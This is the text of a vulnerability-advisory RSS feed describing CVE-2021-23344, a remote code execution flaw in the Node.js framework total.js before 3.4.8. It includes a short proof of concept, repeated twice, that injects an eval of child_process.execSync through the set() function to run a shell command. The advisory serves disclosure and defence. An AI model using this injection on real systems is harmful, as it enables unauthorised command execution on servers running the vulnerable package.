https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Mon, 12 Oct 2026 16:22:41 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-180898 EUVD-2026-180898 https://cve.radiocsirt.org/vuln/euvd-2026-180898 https://cve.radiocsirt.org/vuln/fkie_cve-2021-23344 <p>The package total.js before 3.4.8 are vulnerable to Remote Code Execution (RCE) via set.</p> <p>The package total.js before 3.4.8 are vulnerable to Remote Code Execution (RCE) via set.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2021-23344 https://cve.radiocsirt.org/vuln/ghsa-3wj8-vp9h-rm6m <p><strong>Affected:</strong> npm: total.js</p> <p>total.js is a framework for Node.js platfrom written in pure JavaScript similar to PHP&#39;s Laravel or Python&#39;s Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application.</p> <p>Affected versions of this package are vulnerable to Remote Code Execution (RCE) via `set`.</p> <p>### PoC ```js // To be run in a nodejs console: require(&#39;total.js/utils&#39;).set({}, &#39;a;eval(`require(&#34;child_process&#34;)\\x2eexecSync(&#34;touch pwned&#34;)`);//&#39;) ```</p> <p><strong>Affected:</strong> npm: total.js</p> <p>total.js is a framework for Node.js platfrom written in pure JavaScript similar to PHP&#39;s Laravel or Python&#39;s Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application.</p> <p>Affected versions of this package are vulnerable to Remote Code Execution (RCE) via `set`.</p> <p>### PoC ```js // To be run in a nodejs console: require(&#39;total.js/utils&#39;).set({}, &#39;a;eval(`require(&#34;child_process&#34;)\\x2eexecSync(&#34;touch pwned&#34;)`);//&#39;) ```</p> https://cve.radiocsirt.org/vuln/ghsa-3wj8-vp9h-rm6m https://cve.radiocsirt.org/vuln/gsd-2021-23344 gsd-2021-23344 https://cve.radiocsirt.org/vuln/gsd-2021-23344